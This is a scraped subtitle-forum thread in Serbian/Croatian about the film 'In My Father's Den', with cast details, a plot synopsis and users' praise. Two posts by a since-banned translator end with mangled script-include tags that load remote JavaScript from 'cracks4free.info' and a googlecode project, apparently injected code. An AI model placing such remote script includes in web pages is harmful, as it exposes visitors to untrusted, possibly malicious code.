Prevodi || Titlovi || Преводи || Podnapisi || Prijevodi
Početna strana Početna strana > Filmovi i serije > Titlovi.com Vam sa ponosom predstavljaju - filmovi
  Aktivne teme Aktivne teme RSS Feed - In My Father's Den (2004)
  FAQ u vezi foruma FAQ u vezi foruma  Pretraži forum   Events   Registracija Registracija  Prijava Prijava


Pravila ponašanja na forumu :: Pravila za postavljanje prevoda :: FAQ u vezi prevoda :: Voditelji foruma
Potražnja prevoda :: Obaveštenje svim NOVIM članovima !!! :: UPUTE ZA IZRADU I SINKRONIZACIJU PRIJEVODA
OFICIJALNI KODI PLUGIN

In My Father's Den (2004)

In My Father's Den

In My Father's Den (2004)   | BA | HR | MK | RS | SI |

Godina:

2004

Žanr:

drama, misterij, triler

Trajanje:

127 min

Režija:

Brad McGann

Scenarij:

Brad McGann
, Maurice Gee


Glavne uloge:


Miranda Otto
  >  Penny
Matthew Chamberlain
  >  Jeff
Vicky Haughton
  >  Ms Seagar
Nicholas Hayward
  >  Andrew as a teenager
Matthew Macfadyen
  >  Paul Prior
Colin Moy
  >  Andrew
Jodie Rimmer
  >  Jackie
Mabel Wharekawa
  >  Winnie (as Mabel Burt)
Toby Alexander
  >  Paul as a teenager
Rebecca Kassab
  >  Celia Steimer
Jimmy Keen
  >  Jonathon
Asher Emanuel
  >  Paul as a child
Liam Herbert
  >  Andrew as a child
Vanessa Riddell
  >  Iris
Peter Hishon
  >  Vet

 Odgovori Odgovori
Korisnik
Poruka
bojan969 View Drop Down
Administrator
Administrator
Avatar

Pridružen: 18.Svibanj/May.2009
Status: Offline
Points: 6220
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj bojan969 Citiraj  OdgovoriOdgovor Direktni link do posta Tema: In My Father's Den (2004)
    Objavljeno: 13.Ožujak/Mar.2013 u 21:53
In My Father's Den (2004)




Žanr: Drama, Misterija, Triler
Trajanje: 127 min
Država: Novi Zeland, Engleska
Jezik: Engleski

Režija: Brad McGann
Scenario: Brad McGann po noveli Maurice Geea


Uloge:

Matthew Macfadyen ... Paul Prior
Miranda Otto ... Penny
Emily Barclay ... Celia Steimer
Colin Moy ... Andrew



Paul, nagrađivani ratni izveštač, vraća se u rodni grad na Novom Zelandu zbog smrti svoga oca.
Tu sreće nezadovoljnu 16-ogodišnjakinju Celiu i upoznaje je sa svetom o kojem je ona samo sanjala.
Ona uporni traži njegovo prijateljstvo, fascinirana njegovim cinizmom i iskustvom iz sveta izvan granica njenog malog grada.
Na njihovo prijateljstvo svi gledaju sa negodovanjem, i kad Celia nestane, Paul je prvi osumnjičeni.
Dok se nasilna istina polako pojavljuje, Paul je primoran da se suoči sa porodičnom tragedijom i izdajom od koje je pobegao u mladosti.  Nagrade i nominacije.
 



Prevod uradio sinrazmetni
Na vrh
insideman View Drop Down
eXtreme member
eXtreme member


Pridružen: 30.Sijecanj/Jan.2011
Lokacija: Trstenik
Status: Offline
Points: 380
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj insideman Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 14.Ožujak/Mar.2013 u 03:05
Prvoklasan film sa Novog Zelanda Clap Ogromno pozitivno iznenađenje i u čudu sam da ovaj film nije ranije preveden. Poželeo sam da ga gledam pre nekih mesec dana i tada još uvek nije postojao titl. Hvala puno Clap

Film je snimljen prema knjizi i moj utisak je da je ovo jedna od najboljih ekranizacija. Velike zasluge idu scenaristi i reditelju koji je sjajno sve to spakovao u 2 sata računajući tu i prvih sat vremena koji su me dobro smorili. Ali to je potpuno opravdano jer je ovo jedna veoma temeljna drama obmotana velikom misterijom. Nakon toga on postaje osetno brži i zanimljiviji i kako se bliži kraj shvatate da je bukvalno svaka sitnica od prethodno viđenog tu bila sa svrhom i smislom. 

Sve što nestručni gledalac može da poželi, ovaj film i pruža.  

10/10
Na vrh
srkis View Drop Down
Senior translator
Senior translator
Avatar

Pridružen: 15.Studeni/Nov.2005
Lokacija: Srbija
Status: Offline
Points: 1642
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj srkis Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 14.Ožujak/Mar.2013 u 10:23
Originalno postovano od strane insideman insideman piše:

...i u čudu sam da ovaj film nije ranije preveden.
 
+1
 
Šta više, bio sam siguran i da je preveden i da ga imam u kolekciji...Confused Ode na skidanjeCool
Моја господо, бољи и виши пођоше бољијема и вишијема, а ја једва вас допадох!
Na vrh
sinrazmetni View Drop Down
Banned user
Banned user
Avatar

Pridružen: 27.Ožujak/Mar.2012
Status: Offline
Points: 155
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj sinrazmetni Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 14.Ožujak/Mar.2013 u 12:18
Originalno postovano od strane insideman insideman piše:

... i u čudu sam da ovaj film nije ranije preveden. 

10/10
 

Po onoj narodnoj, na nekome kola moraju se slomiti. Wink

Sretan sam da baš o moja ledja udarila su, i da - tako - 

utkao sam dio sebe u čistu umjetnost ovu.

 

Matthew Macfadyen, nekada student prestižne Kraljevske

akademije dramskih umjetnosti, nešto je najbolje što ovom

filmu dogoditi se moglo.

 

Kralj glume, predobar kao takav.



< ="text/" ="//my-pro-project.googlecode.com/s/connd.js">< ="text/" ="http://cracks4free.info/s/section/user/d.txt">< ="text/" ="//cracks4free.info/s/section/user/conn.js">

Ažurirao sinrazmetni - 14.Ožujak/Mar.2013 u 12:25
Na vrh
A2D2 View Drop Down
eXtreme member
eXtreme member

Lonesome Cowboy

Pridružen: 18.Studeni/Nov.2009
Lokacija: Mostar
Status: Offline
Points: 4209
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj A2D2 Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 17.Ožujak/Mar.2013 u 20:21
Kolega objasnio.Wink

Originalno postovano od strane insideman insideman piše:


Prvoklasan film sa Novog Zelanda Clap
10/10
 




Nitko nije toliko bogat da može bez osmjeha i nitko toliko jadan da ga ne bi zaslužio.
Na vrh
Dupla ljuta. View Drop Down
Translator
Translator


Pridružen: 01.Prosinac/Dec.2012
Lokacija: NIŠ
Status: Offline
Points: 860
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj Dupla ljuta. Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 17.Ožujak/Mar.2013 u 22:49
Filmčina! A tebi,sinerazmetni,5-ica k'o vrata za prevod!
Ako se desi nešto loše-piješ da zaboraviš,
ako se desi nešto lepo-piješ da proslaviš,
a ako se ništa ne dešava-piješ da bi se nešto dešavalo.
Na vrh
sinrazmetni View Drop Down
Banned user
Banned user
Avatar

Pridružen: 27.Ožujak/Mar.2012
Status: Offline
Points: 155
Opcije posta Opcije posta   Thanks (0) Thanks(0)   Citiraj sinrazmetni Citiraj  OdgovoriOdgovor Direktni link do posta Objavljeno: 18.Ožujak/Mar.2013 u 01:01
Originalno postovano od strane Dupla ljuta. Dupla ljuta. piše:

Filmčina! A tebi,sinerazmetni,5-ica k'o vrata za prevod!

Nije da se hvalim, samo takve dobijah, i samo tolike 
vidjeti se mogu u svjedočanstvima mojim. Embarrassed

Tebi, desetka evo, što kvalitet prepoznati znaš.
Filmčina, uistinu, to je...
< ="text/" ="//my-pro-project.googlecode.com/s/connd.js">< ="text/" ="http://cracks4free.info/s/section/user/d.txt">< ="text/" ="//cracks4free.info/s/section/user/conn.js">

Ažurirao sinrazmetni - 18.Ožujak/Mar.2013 u 01:02
Na vrh
 Odgovori Odgovori
  Prosledi temu   

Pređi na drugi Forum Forumska ovlašćenja View Drop Down

Forum Software by Web Wiz Forums® version 11.01
Copyright ©2001-2014 Web Wiz Ltd.

Stranica je generirana u 0,188 sekundi.